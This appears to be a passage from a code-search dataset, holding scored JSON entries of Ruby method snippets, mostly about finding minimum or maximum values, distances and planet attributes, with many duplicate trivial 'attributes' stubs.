decli.nombre_personne < @min\n\t \t\t\t@min = decli.nombre_personne\n\t \t\tend\n\t \tend\n\t \t\n\t \treturn @min\n\t else\n\t \treturn 0\n \tend\n end", "title": "" }, { "docid": "1b3d33474135e6f569c1ba4cc2f2f418", "score": "0.5292126", "text": "def lowest_f( open, destination )\n\n low, low_f = nil, -1\n open.each do |curr|\n curr_f = curr.f(destination)\n if low == nil\n low = curr\n low_f = curr_f\n elsif curr_f < low_f\n low = curr\n low_f = curr_f\n end\n end\n\n return low\n\n end", "title": "" }, { "docid": "7a30597fcf06ed4d51b3f3201e000c99", "score": "0.52920425", "text": "def min\n @list.fisrt\n end", "title": "" }, { "docid": "6bac34513bb5384776d2baf4b4675c91", "score": "0.52815646", "text": "def minimumBribes(q)\n unfound = []\n found = []\n q.each_with_index.inject(0) do |bribes, (person, index)|\n return bribes if q[index + 1].nil?\n index_diff = person - index - 1\n correct_position = index + 1\n should_be = (found.max || 0) + 1\n found.push person\n unfound.delete person\n if should_be < person\n (should_be...person).each do |x|\n unfound.push x unless found.include?(x) || unfound.include?(x)\n end\n else\n unfound.push correct_position unless found.include?(correct_position) || unfound.include?(correct_position)\n end\n \n distance = !unfound.min.nil? && unfound.min < person ? unfound.size : 0\n\n if ENV['DEBUG'] == \"true\"\n puts \"person #{person}\"\n puts \"distance #{distance}\"\n puts \"index_diff #{index_diff}\"\n puts \"bribes #{bribes}\"\n puts \"\"\n end\n\n if distance > 2\n return \"Too chaotic\"\n break\n end\n distance > 0 ? bribes + distance : bribes\n end\nend", "title": "" }, { "docid": "ec9837825d7a041a91a45a499206e11f", "score": "0.52498335", "text": "def find_and_pop_best\n min = @nodes[0]\n @nodes.each do |node|\n if node.f < min.f\n min = node\n end\n end\n pop(min)\n end", "title": "" }, { "docid": "6584ae39238301787d11ff18a76c5bc9", "score": "0.52485037", "text": "def get_best(chromosomes)\n chromosomes.min_by(&:fitness)\nend", "title": "" }, { "docid": "75fbdb500d89af183daabda51888babd", "score": "0.5241611", "text": "def dfs\n n = battle_effect.dfs\n return (n * dfs_modifier).to_i if n\n return (dfs_basis * dfs_modifier).floor\n end", "title": "" }, { "docid": "85a7dc8af5053579fd3bb16a43bb344a", "score": "0.52415836", "text": "def min\n\n minimo = 0.to_f\n for i in 0...matriz.size \n if matriz[i] != nil \n matriz[i].each do |key, value|\n if matriz[i][key].to_f < minimo\n minimo = matriz[i][key].to_f\n end\n end\n end \n end\n minimo\n end", "title": "" }, { "docid": "c5862f6db9440078ba69e98c8c7272bc", "score": "0.5240048", "text": "def main_delivery_fees_cents\n DELIVERY_FEES.select { |weight| weight.member?(total_weight) }.values.dig(0, symbol_region) || 0\n end", "title": "" }, { "docid": "d31514acf7e7a2262488e5582b91a1ed", "score": "0.5238223", "text": "def stationary_fs\n @floor_count - distance\n end", "title": "" }, { "docid": "2e111fc9a33148e165c7819732695e05", "score": "0.52347296", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n # another way to get the factor to return the correct speed\r\n factors = {200 => 0.5, 150 => 1, 100 => 1.5, 50 => 2 , 0 => 2.5 }\r\n speed = factors.select{|population_density, speed| population_density <= @population_density }.values.first\r\n\r\n end", "title": "" }, { "docid": "6926f22d7babd67b001c0a825f91b7fb", "score": "0.5234409", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n # another way to get the factor to return the corret speed\n factors = {200 => 0.5, 150 => 1, 100 => 1.5, 50 => 2 , 0 => 2.5 }\n speed = factors.select{|population_density, speed| population_density <= @population_density }.values.first\n\n end", "title": "" }, { "docid": "ca98aa6c009d7b42ae59adaecb9930d7", "score": "0.5227335", "text": "def get_best_sandwich\n fittest = @sandwiches[0]\n @sandwiches.each do |sandwich|\n fittest = sandwich if sandwich.get_fitness >= fittest.get_fitness\n end\n fittest\n end", "title": "" }, { "docid": "0006d2741023779da3f123773643d238", "score": "0.5223957", "text": "def best_offense\n teams_total_goals = total_goals_helper\n teams_total_games = total_games_helper\n\n best_team_goals_avg = 0\n best_offense_team_id = 0\n this_team_goals_avg = 0\n\n teams_total_games.each do |games_key, games_value|\n teams_total_goals.each do |goals_key, goals_value|\n if goals_key == games_key\n this_team_goals_avg = (goals_value / games_value.to_f)\n if this_team_goals_avg > best_team_goals_avg\n best_team_goals_avg = this_team_goals_avg\n best_offense_team_id = games_key\n end\n end\n end\n end\n\n team_with_best_offense = nil\n self.teams.each_value do |team_obj|\n if team_obj.team_id. == best_offense_team_id\n team_with_best_offense = team_obj.team_name\n end\n end\n\n team_with_best_offense\n end", "title": "" }, { "docid": "12593d6192099cece7d0cbc6bb337cc8", "score": "0.52026796", "text": "def get_smaller(a,b,c,d)\n abv = distance_abv(a,b,c,d)\n flavor = distance_flavor(a,b,c,d)\n color = distance_color(a,b,c,d)\n bubbly = distance_bubbly(a,b,c,d)\n arr = [abv,flavor,color,bubbly]\n return arr.index(arr.min)\nend", "title": "" }, { "docid": "8b2e1dc455c33091ee10f991adea3d25", "score": "0.5181476", "text": "def calc_ks(fp, fq)\n ks = 0.0\n \n each_class do |k|\n R.sp = get_feature_values(fp, nil, k)\n R.sq = get_feature_values(fq, nil, k)\n \n # K-S test\n R.eval \"ks <- ks.test(sp, sq)$statistic\"\n \n # pull K-S statistic\n ks_try = R.ks\n \n # record max ks among classes\n ks = ks_try if ks_try > ks\n end\n \n ks\n end", "title": "" }, { "docid": "d601dfcf9de8ed23046bb04fd563dd9c", "score": "0.51803094", "text": "def getMaxMft\n total_clusters = 0\n fragTable.each_slice(2) { |_vcn, len| total_clusters += len }\n total_clusters * @bytesPerCluster / @bytesPerFileRec\n end", "title": "" }, { "docid": "61e434a45dddcfb90a78ac532ee37071", "score": "0.5177623", "text": "def optimales_ziel()\n\n erreichbare_ziele().select(){|raum| !raum.empty?()}.\n max_by(){|raum| raum.wertigkeit() /\n (@welt.wegkosten(@aktueller_raum,raum)+raum.kosten())}\n end", "title": "" }, { "docid": "33de4befe024fe2676a16199bccb9722", "score": "0.51670736", "text": "def dfs(t,tot)\r\n\treturn Float::INFINITY if !t\r\n\treturn Float::INFINITY if t[1].size == 0\r\n [(tot-2*sum(t[1][0])).abs,(tot-2*sum(t[1][1])).abs,dfs(t[1][0],tot),dfs(t[1][1],tot)].min\r\nend", "title": "" }, { "docid": "97c597bb11c02d23bf0c651ace21c4fa", "score": "0.5160575", "text": "def find_min_priced_restauarnt(list)\n @searchItems = []\n list.each do |name|\n @searchItems.push(@items[name])\n end\n #return the nil values\n @searchItems.compact!\n\n #check for empty array\n return nil if @searchItems.size == 0 || @searchItems.size < list.size\n\n\n #using dynamic programming to solve this problem\n #Using the multi stage graph approach. Consider each searchItem which is list of invertedIndex as a level with nodes.\n #If the last level(n) is destination, then find the mincost from every node in level(n-1) to level(n) , find the min price and store it in the attribute called minprice of invertedIndex class.\n # so now the we have minimimum cost from n-1 to n. Now similary construct it from n-2 level to n-1(which inturn is till nth level).\n # finally at level 1 we have all the elements with the all the cost. Sort them and return the min priced.\n\n if @searchItems.size > 1\n count = @searchItems.size\n\n @searchItems.reverse.each do |item|\n if count == @searchItems.size\n count = count - 1\n next\n end\n successorItem = @searchItems[count]\n item.each do |iIndex|\n cost = 9999999\n id = iIndex.id\n successorItem.each do |sItem|\n\n if sItem.addedIds.include?(iIndex.id)\n iIndex.minPrice = sItem.minPrice\n id = iIndex.id\n\n elsif cost > (sItem.price + iIndex.price)\n cost = sItem.price + iIndex.price\n iIndex.minprice = cost\n id = sItem.id\n end\n end\n iIndex.addedIds = iIndex.addedIds.concat([id])\n end\n end\n\n end\n #should find the min of this array\n temp = @searchItems[0].sort\n temp[0]\n end", "title": "" }, { "docid": "1f9c502af882eb26d74bacb959b1929f", "score": "0.51559955", "text": "def min(family)\n family.values.min\nend", "title": "" }, { "docid": "05cee148fd4f9789954f668fadae4661", "score": "0.5146782", "text": "def find_path_of_least_resistance\n paths = @path_finder.find_all_paths\n \n path_of_least_resistance = nil\n path_resistance = nil\n \n paths.each do |path|\n resistance = path.inject(0) {|resistance, edge| resistance + edge[2] }\n \n # keep the path with the least resistance\n if path_of_least_resistance == nil || path_resistance == nil || resistance < path_resistance\n path_of_least_resistance = path\n path_resistance = resistance\n end\n end\n \n path_of_least_resistance\n end", "title": "" }, { "docid": "05cee148fd4f9789954f668fadae4661", "score": "0.5146782", "text": "def find_path_of_least_resistance\n paths = @path_finder.find_all_paths\n \n path_of_least_resistance = nil\n path_resistance = nil\n \n paths.each do |path|\n resistance = path.inject(0) {|resistance, edge| resistance + edge[2] }\n \n # keep the path with the least resistance\n if path_of_least_resistance == nil || path_resistance == nil || resistance < path_resistance\n path_of_least_resistance = path\n path_resistance = resistance\n end\n end\n \n path_of_least_resistance\n end", "title": "" }, { "docid": "7fc3adb9f159ce0b033c50ca485e9091", "score": "0.5145626", "text": "def get_best_fin_hash\r\n @swimmer_stats[:best_fin_hash]\r\n end", "title": "" }, { "docid": "ef8067bf5278ceae7cad790dce8f9bfb", "score": "0.5139663", "text": "def min_manhattan_distance(central_point, points)\n min_manhattan_distance = Float::INFINITY\n\n points.each do |point|\n distance = manhattan_distance(point, central_point)\n if distance < min_manhattan_distance && distance != 0\n min_manhattan_distance = distance\n end\n end\n\n min_manhattan_distance\nend", "title": "" }, { "docid": "2d1931520243a380ddae0267d0efda6d", "score": "0.5135937", "text": "def standart_vergleich(farbe1, farbe2)\n vergleich = farbvergleich(farbe1, farbe2)\n return (vergleich[0] * vergleich[1]) ** 0.5 + vergleich[2] \n end", "title": "" }, { "docid": "1219b1fd0d93c969e7826ad1872bc531", "score": "0.5128944", "text": "def flatlandSpaceStations(n, c)\n arr = Array.new(n)\n max = 0\n arr.each_index do |i|\n distance = []\n c.each{|j| distance << (i-j).abs}\n max = distance.min if distance.min>max\n end\n max\nend", "title": "" }, { "docid": "94a3b6b1fd8e3e35f707a294744b2ef7", "score": "0.5123474", "text": "def furthest_apart_bays(list_of_items)\n list_of_bays_and_max_separation = list_of_bays(list_of_items)\n indices = []\n for bay in list_of_bays_and_max_separation\n index = inventory_index(bay)\n indices.push(index)\n end\n max_separation = indices.max - indices.min\n return list_of_bays_and_max_separation.push(max_separation)\nend", "title": "" }, { "docid": "f8975e8026069ad7220ff0d408ffff45", "score": "0.511708", "text": "def min_distances(graph, initial_oriented_node, options={})\n pqueue = DS::AnyPriorityQueue.new {|a,b| a < b}\n first = DistancedOrientedNode.new\n first.node = initial_oriented_node.node\n first.first_side = initial_oriented_node.first_side\n first.distance = 0\n pqueue.push first, first.distance\n\n to_return = {}\n first_node = true\n found_nodes = Set.new([first.node.node_id])\n\n while min_distanced_node = pqueue.shift\n\n # Add/overwrite the current one\n to_return[min_distanced_node.to_settable] = min_distanced_node.distance\n\n log.debug \"Working from #{min_distanced_node.inspect}\" if log.debug?\n\n if options[:leash_length] and min_distanced_node.distance > options[:leash_length]\n # we are passed leash length, and this is the nearest node. So we are finito.\n log.debug \"passed the leash length, cutting short our travels\" if log.debug?\n break\n end\n\n if options[:max_nodes] and found_nodes.length > options[:max_nodes]\n log.debug \"passed max-nodes threshold and have #{found_nodes.length} nodes\" if log.debug?\n # remove extras that may have been queued if we are over the limit\n distances_direction_agnostic = {}\n to_return.each do |key, distance|\n prev = distances_direction_agnostic[key[0]]\n if prev.nil? or prev > distance\n distances_direction_agnostic[key[0]] = distance\n end\n end\n if distances_direction_agnostic.length > options[:max_nodes]\n sorted = distances_direction_agnostic.to_a.sort{|a,b| a[1]<=>b[1]}\n # deal with ties i.e. at the edge there can be multiple neighbours\n last_distance = sorted[options[:max_nodes]][1]\n\n # only keep those nodes that are sufficiently close\n to_return.select! do |key, distance|\n distance <= last_distance\n end\n end\n break\n end\n\n # Queue nodes after this one\n current_distance = min_distanced_node.distance\n\n # Find neighbouring nodes\n neighbours = nil\n if options[:neighbour_finder]\n neighbours = options[:neighbour_finder].neighbours(min_distanced_node)\n else\n neighbours = min_distanced_node.next_neighbours(graph)\n end\n\n # explore each neighbour node\n neighbours.each do |onode|\n found_nodes << onode.node.node_id\n new_distance = current_distance\n if options[:neighbour_finder]\n # Don't use negative distances as this algorithm cannot handle it, and it is impossible\n # anyway\n if onode.distance > 0\n new_distance += onode.distance\n else\n new_distance += 0\n end\n end\n unless first_node\n new_distance += min_distanced_node.node.length_alone\n end\n\n if to_return[onode.to_settable] and to_return[onode.to_settable] <= new_distance\n # We already know a shorter path to this neighbour, so ignore it\n log.debug \"Already seen this node at the same or shorter distance, going no further\" if log.debug?\n else\n log.debug \"Queuing new distance for neighbour: #{onode}: #{new_distance}\" if log.debug?\n # new shortest distance found. queue it up\n distanced_node = DistancedOrientedNode.new\n distanced_node.node = onode.node\n distanced_node.first_side = onode.first_side\n distanced_node.distance = new_distance\n to_return[onode.to_settable] = new_distance\n pqueue.push distanced_node, new_distance\n\n if options[:ignore_directions]\n reverse = DistancedOrientedNode.new\n reverse.node = onode.node\n reverse.first_side = onode.reverse.first_side\n reverse.distance = new_distance\n to_return[onode.to_settable] = new_distance\n pqueue.push reverse, new_distance\n end\n end\n end\n\n first_node = false\n end\n\n # if ignore directions, then fixup the return so that each direction is included\n if options[:ignore_directions]\n new_to_return = {}\n to_return.each do |key, distance|\n keys = [\n Bio::Velvet::Graph::OrientedNodeTrail::START_IS_FIRST,\n Bio::Velvet::Graph::OrientedNodeTrail::END_IS_FIRST].collect do |direction|\n [key[0], direction]\n end\n new_distance = keys.collect{|k| to_return[k]}.reject{|d| d.nil?}.min\n keys.each do |key|\n new_to_return[key] = new_distance\n end\n end\n to_return = new_to_return\n end\n\n return to_return\n end", "title": "" }, { "docid": "ba4cad5308287a2dd19140cc7a2eebb4", "score": "0.5112493", "text": "def item_features_min(item, code, data_id)\n item_features_with_id(item, code, data_id).collect {|ft| ft.value}.min\n end", "title": "" }, { "docid": "670cee651a9999818a65778cef4029b8", "score": "0.51064324", "text": "def cantidad_maxima_fabricacion(fabricable)\n cantidad_maxima_metal = recurso_metal / fabricable.metal.costo if fabricable.metal.costo > 0\n cantidad_maxima_cristal = recurso_cristal / fabricable.cristal.costo if fabricable.cristal.costo > 0\n cantidad_maxima_deuterio = recurso_deuterio / fabricable.deuterio.costo if fabricable.deuterio.costo > 0\n [cantidad_maxima_metal, cantidad_maxima_cristal, cantidad_maxima_deuterio].compact.min\n end", "title": "" }, { "docid": "23bf3dee32fa23c832f0f297cc112748", "score": "0.5103404", "text": "def reduceToLowestForm\n maxPossibleFactor = [@num.abs, @den.abs].min\n i = 2\n while i < maxPossibleFactor + 1\n while ((@num % i == 0) && (@den % i == 0))\n @num = @num/i\n @den = @den/i\n end\n i+=1\n end\n if @num == 0\n @den = 1 \n elsif @den == -1\n @num = @num * -1\n @den = @den * -1\n end\n end", "title": "" }, { "docid": "6c74269602c2419b901cb45c6471e8be", "score": "0.5087627", "text": "def shortestSingleFlight()\n return reduceVariable('edges', 'distance', '<')\n end", "title": "" }, { "docid": "6e0a600e39ed019487cd388463b1e5b4", "score": "0.5083086", "text": "def optimal_f(instrument)\n end", "title": "" }, { "docid": "cd69ca72d141021dfd8a8853ae880e4a", "score": "0.5080965", "text": "def calculate_fare(parameters)\n fare = pickup_route_fare = drop_route_fare = pickup_stop_fare = drop_stop_fare = pickup_fare = drop_fare = 0\n if parameters[:pickup_route].present?\n pickup_route = Route.find(parameters[:pickup_route], :include => :route_stops) \n pickup_route_fare = pickup_route.fare.to_f\n pickup_stop_fare = pickup_route.route_stops.detect{|s| s.vehicle_stop_id == parameters[:pickup_stop].to_i}.fare.to_f if parameters[:pickup_stop].present?\n end\n parameters[:drop_route] = parameters[:pickup_route] if parameters[:drop_route] == \"undefined\"\n if parameters[:drop_route].present?\n drop_route = Route.find(parameters[:drop_route], :include => :route_stops) \n drop_route_fare = drop_route.fare.to_f\n drop_stop_fare = drop_route.route_stops.detect{|s| s.vehicle_stop_id == parameters[:drop_stop].to_i}.fare.to_f if parameters[:drop_stop].present?\n end\n mode = parameters[:mode].to_i\n if mode.present?\n config = Configuration.get_multiple_configs_as_hash ['DifferentRoutes', 'TransportFeeCollectionType', 'SingleRouteFeePercentage']\n common_route = (config[:different_routes].nil? ? false : (config[:different_routes].to_i == 0))\n stop_based_fee = (config[:transport_fee_collection_type].nil? ? true : (config[:transport_fee_collection_type].to_i == 1))\n single_route_fee = (config[:single_route_fee_percentage].nil? ? 50 : config[:single_route_fee_percentage].to_i)\n if stop_based_fee\n #stop based fee\n fare = case mode\n when 1\n pickup_stop_fare + drop_stop_fare\n when 2\n pickup_stop_fare\n when 3\n drop_stop_fare\n end\n else\n #route based fees\n if common_route\n fare = case mode\n when 1\n pickup_route_fare\n when 2\n (pickup_route_fare * single_route_fee.to_f)/100\n when 3\n (drop_route_fare * single_route_fee.to_f)/100\n end\n else\n fare = case mode\n when 1\n pickup_route_fare + drop_route_fare\n when 2\n pickup_route_fare\n when 3\n drop_route_fare\n end\n end\n end\n end\n return fare\n end", "title": "" }, { "docid": "cc1933f3b57d897310f0c93a2e2d80f8", "score": "0.5073204", "text": "def call(scooters_per_district, fleet_manager_capacity, fleet_engineer_capacity)\n validate_arguments!(scooters_per_district, fleet_manager_capacity, fleet_engineer_capacity)\n\n manager_engineer_ratio = fleet_manager_capacity / fleet_engineer_capacity.to_f\n manager_engineer_ratio_remainder = manager_engineer_ratio.modulo(1)\n\n max_manager_engineer_coverage = 0\n max_no_engineers_required = 0\n\n scooters_per_district.each do |scooters|\n no_engineers_required = scooters / fleet_engineer_capacity.to_f\n no_engineers_required_remainder = no_engineers_required.modulo(1)\n\n if scooters <= fleet_manager_capacity &&\n no_engineers_required.ceil > max_manager_engineer_coverage\n\n max_manager_engineer_coverage = no_engineers_required.ceil\n elsif scooters > fleet_manager_capacity &&\n no_engineers_required_remainder > 0 &&\n no_engineers_required_remainder <= manager_engineer_ratio_remainder &&\n manager_engineer_ratio.ceil > max_manager_engineer_coverage\n\n max_manager_engineer_coverage = manager_engineer_ratio.ceil\n elsif scooters > fleet_manager_capacity &&\n (no_engineers_required_remainder == 0 ||\n no_engineers_required_remainder > manager_engineer_ratio_remainder) &&\n manager_engineer_ratio.floor > max_manager_engineer_coverage\n\n max_manager_engineer_coverage = manager_engineer_ratio.floor\n end\n\n max_no_engineers_required += no_engineers_required.ceil\n end\n\n return 0 if max_no_engineers_required == 0\n\n total_no_engineers_required = max_no_engineers_required - max_manager_engineer_coverage\n\n total_no_engineers_required\n end", "title": "" }, { "docid": "4b94e89697b98b9d0ec67152d9076bcb", "score": "0.5069772", "text": "def f_max\n result = get_newton_sum(@d, @b) { |sum| sum >= @@MAX_F_VAL }\n end", "title": "" }, { "docid": "359858b2a6751ef611931b89dd194c68", "score": "0.5069543", "text": "def flatlandSpaceStations(n, c)\n arr = Array.new(n,1)\n c.each{|i| arr[i] = 0}\n arr.each_index do |i|\n if arr[i] != 0 || arr[i] != 1\n distance = []\n c.each{|j| distance << (i-j).abs}\n arr[i] = distance.min\n end\n end\n arr.max\nend", "title": "" }, { "docid": "c736592772a91f59b9b1f679f659b0c7", "score": "0.5069308", "text": "def calculate_minimum_speed\n self.points.slowest.first.speed if self.points.slowest and self.points.slowest.first and self.points.slowest.first.speed\n end", "title": "" }, { "docid": "574b67a4103539278b47a71829f00d6c", "score": "0.50602406", "text": "def shortest_flight\n # return max integer of no edges\n return Edge.new('', (2**(0.size * 8 -2) -1)) if @edges.length == 0\n\n # find the shortest distance in the distances array\n min = distances.min\n @edges.each{|edge| return edge if edge.distance == min}\n end", "title": "" }, { "docid": "489f410057faad25cf81f693b3b82ef7", "score": "0.50559753", "text": "def five_flank_features\n return if @circular\n @features.select { |feature| feature.start() < @rcmb_primers.first.start() }\n end", "title": "" }, { "docid": "489f410057faad25cf81f693b3b82ef7", "score": "0.50559753", "text": "def five_flank_features\n return if @circular\n @features.select { |feature| feature.start() < @rcmb_primers.first.start() }\n end", "title": "" }, { "docid": "baca0f09fd71822068717fcb62947156", "score": "0.50557077", "text": "def calcLocalFlockingError\n keepTargetsSymmetrical if (args[:keepTargetsSymmetrical])\n errors = clusters.collect do |aCluster|\n distanceBetweenClusterAndExample = aCluster.center[0] - locationOfExample\n weightedDistance = functionForWeightingDistanceBetweenExampleAndClustersCenter(distanceBetweenClusterAndExample)\n errorTakingExamplesMembershipIntoAccount = weightedDistance * aCluster.membershipWeightForEachExample[exampleNumber]\n end\n self.localFlockingError = errors.reduce(:+)\n self.accumulatedAbsoluteFlockingError += localFlockingError.abs\n return localFlockingError\n end", "title": "" }, { "docid": "4aa68b30d56e2386174f375c17c2c99d", "score": "0.5055406", "text": "def nearest_departures(stops)\n\t\tmaster_deps = Array.new\n\t\tstops.each do |stop|\n\t\t\t# master_deps.concat(Hash[\"stop\", stop, \"departures\", get_departures_by_stop(stop[\"stop_id\"]))\n\t\t\tstops_from_deps = get_departures_by_stop(stop)\n\t\t\tstops_from_deps.each do |stop_dep|\n\t\t\t\tmaster_deps << Hash[\"stop\", stop, \"departures\", stop_dep]\n\t\t\tend\n\t\tend\n\t\treturn master_deps.sort_by! { |stop| stop[\"departures\"].expected_mins }\n\tend", "title": "" }, { "docid": "438c451362ebe088d50d93dfaa0e3dc5", "score": "0.50508124", "text": "def best_offense\n foo = {}\n\n teams.each do |team|\n team_id = team['team_id']\n team_name = team['teamName']\n\n foo[team_name] = average_goals_scored_per_game(team_id)\n end\n\n foo.min_by { |_k, v| -v }[0]\n end", "title": "" }, { "docid": "5a53258495621d40ff70e7e61d9c70a7", "score": "0.5043408", "text": "def minimizar(a,b) \t\t#definimos minimizar y lo que haces es reducir las fracciones\n mcd = gcd(a,b)\n c = Fraccion.new(1,1)\n c.numerador = a/mcd\n c.denominador = b/mcd\n return c\n end", "title": "" }, { "docid": "dd3c7e16969b58b73c79b4a5b9a84f22", "score": "0.50421137", "text": "def lyft_standard_fare_calculator(min, miles,week, traffic)\n fare = 2.5 + min * 0.35 + miles * 1.79\n if fare < 8\n return 8\n else\n return fare\n end\nend", "title": "" } ]
427f55031abd6db948c0eb89e2330227
Create a method that returns the Planet's attributes in an easy to read fashion
[ { "docid": "1bd2c3a44bd296deafed0fcb2f64d501", "score": "0.6898504", "text": "def attributes\n return \"\\nPlanet: #{@planet}, Color: #{@color}, Inhabitants: #{@inhabitants}, Distance from the sun: #{@distance_from_sun} million miles, Length in a year: #{@year_length} days, Moons: #{@moons}.\"\n end", "title": "" } ]
[ { "docid": "029ad6321e7cd460e396d43cf04fe44c", "score": "0.7670876", "text": "def get_planet_details(planet_name) #Use method to return attributes of a specific planet based on planet_name\n @planets.each do |planet|\n if planet.name == planet_name\n return planet.get_attributes\n end\n end\n end", "title": "" }, { "docid": "33ebea90b51c633e398b621358d32dfe", "score": "0.7467888", "text": "def list_planet_attr\n attributes = \"Name: #{@p_name}\\nPlanet Year Length: #{@p_yr_length}\\nDistance to Sun: #{@p_dist_sun}\\nNumber of Moons: #{@p_num_moons}\\nAverage Temp: #{@p_avg_temp}\\nPlanet Type: #{@p_planet_type}\\nLife?: #{@p_life}\\n\"\n return attributes\n end", "title": "" }, { "docid": "f0d6a02bc50a39790d9fba04189254cc", "score": "0.7441378", "text": "def list_planets_attributes\n list = []\n #iterate through @planets variable and formats into string\n @planets.each do |planet|\n list << \"#{@planets.index(planet) + 1}. #{planet.list_planet_attr}\"\n end\n return list.join(\"\\n\")\n end", "title": "" }, { "docid": "91d9dce99e65192822e34c660c882528", "score": "0.7417886", "text": "def print_planet_att(planet_choice)\n # Iterate over each index in array and call the return_att Planet method\n attributes = \"\"\n @planets.each do |planet|\n if planet.name == planet_choice\n attributes = planet.return_att\n # attributes += planet.return_att + \"\\n\"\n end\n end\n return attributes # Return all planet attributes as a long string\n end", "title": "" }, { "docid": "4d5cec4407915c1065d64eb4dd265404", "score": "0.70872587", "text": "def list_planet_attributes\n return \"The attributes of #{@name} are: \\n Distance from the sun (10^6 km): #{@distance} \\n Number of moons: #{@moons} \\n Average temperature (C): #{@temp} \\n\\n\"\n end", "title": "" }, { "docid": "8a3e952ce925edadff5f673f80a1909d", "score": "0.7022412", "text": "def planets\n ret = []\n @planets.each do |item|\n ret.push(item.attributes)\n end\n return ret\n end", "title": "" }, { "docid": "90e426217b55a9dcf79e27ef32f4f267", "score": "0.69153726", "text": "def show_planet_attributes\n return \"#{@planet_name}-\\n Distance from the Sun: #{@distance_from_the_sun}\\n Diameter: #{@diameter}\\n Year Length: #{@pyear_length}\\n Number of Moons: #{@number_of_moons}\\n Random Fact: #{@random_fact}\"\n end", "title": "" }, { "docid": "3f5069f24daa40d3a9de1c23c1d1a661", "score": "0.6892784", "text": "def return_planets\n list = \"\"\n @planets.each_with_index do |planet, i|\n list << \"--- #{i+1} ---\\n#{planet.all_attributes}\\n\"\n end\n return list\n end", "title": "" }, { "docid": "19880802307805808af9491afddcfa70", "score": "0.67477626", "text": "def planet_method(planet_name, method)\n case method\n when :name\n info = planets_by_name(planet_name).name\n when :mass\n info = planets_by_name(planet_name).mass\n when :index_from_sun\n info = planets_by_name(planet_name).index_from_sun\n when :circumference\n info = planets_by_name(planet_name).circumference\n when :color\n info = planets_by_name(planet_name).color\n when :year_length\n info = planets_by_name(planet_name).year_length\n when :distance_from_sun\n info = planets_by_name(planet_name).distance_from_sun\n when :all_facts\n info = planets_by_name(planet_name).all_facts\n else\n puts \"error\"\n return\n end\n\n return info\n end", "title": "" }, { "docid": "c12cf9f776cb8766f1b78ae32a7756e7", "score": "0.67151976", "text": "def summary\n # RETURN a string with planet attributes\n return \"Name: #{self.name.capitalize} \\nColor: #{self.color} \\\n \\nMass: #{self.mass_kg} \\\n \\nDistance from the sun: #{self.distance_from_the_sun_km} \\\n \\nFun Fact: #{self.fun_fact}\n \"\n end", "title": "" }, { "docid": "56d80e43c670c60b2d3f796c72b652ca", "score": "0.6521318", "text": "def list\n list = \"\"\n i = 0\n @planets.each do |planet|\n list << \"Planet ##{i+1} - \\n#{planet.attributes}\\n\"\n i += 1\n end\n return list\n end", "title": "" }, { "docid": "d5a7c0258fe8e00fdfed5681ad36941b", "score": "0.63780683", "text": "def planets\n # 2. for those Colonies, get the information about the Planets\n self.colonies.map do |colony_instance|\n colony_instance.planet\n end\n end", "title": "" }, { "docid": "af9f64ef2c21d9536260defad4aaa047", "score": "0.62878424", "text": "def planets\n # Add code here\n # this should return an Array of Planet Objects that this alien has colonies on\n self.colonies.map do |colony|\n colony.planet\n end\n end", "title": "" }, { "docid": "59b86c5870ea674d2dd60a89a63991ce", "score": "0.623083", "text": "def attributes(*) end", "title": "" }, { "docid": "ed50d4336ce3c90f553014b6b1004c9a", "score": "0.62025446", "text": "def initialize(planet_info)\n planet_info.each do |category, attributes|\n @planet_name = planet_info[:planet_name]\n @year_length = planet_info[:year_length]\n @distance_from_the_sun = planet_info[:distance_from_the_sun]\n @scout_name = planet_info[:scout_name]\n @soldier_of = planet_info[:soldier]\n end\nend", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", 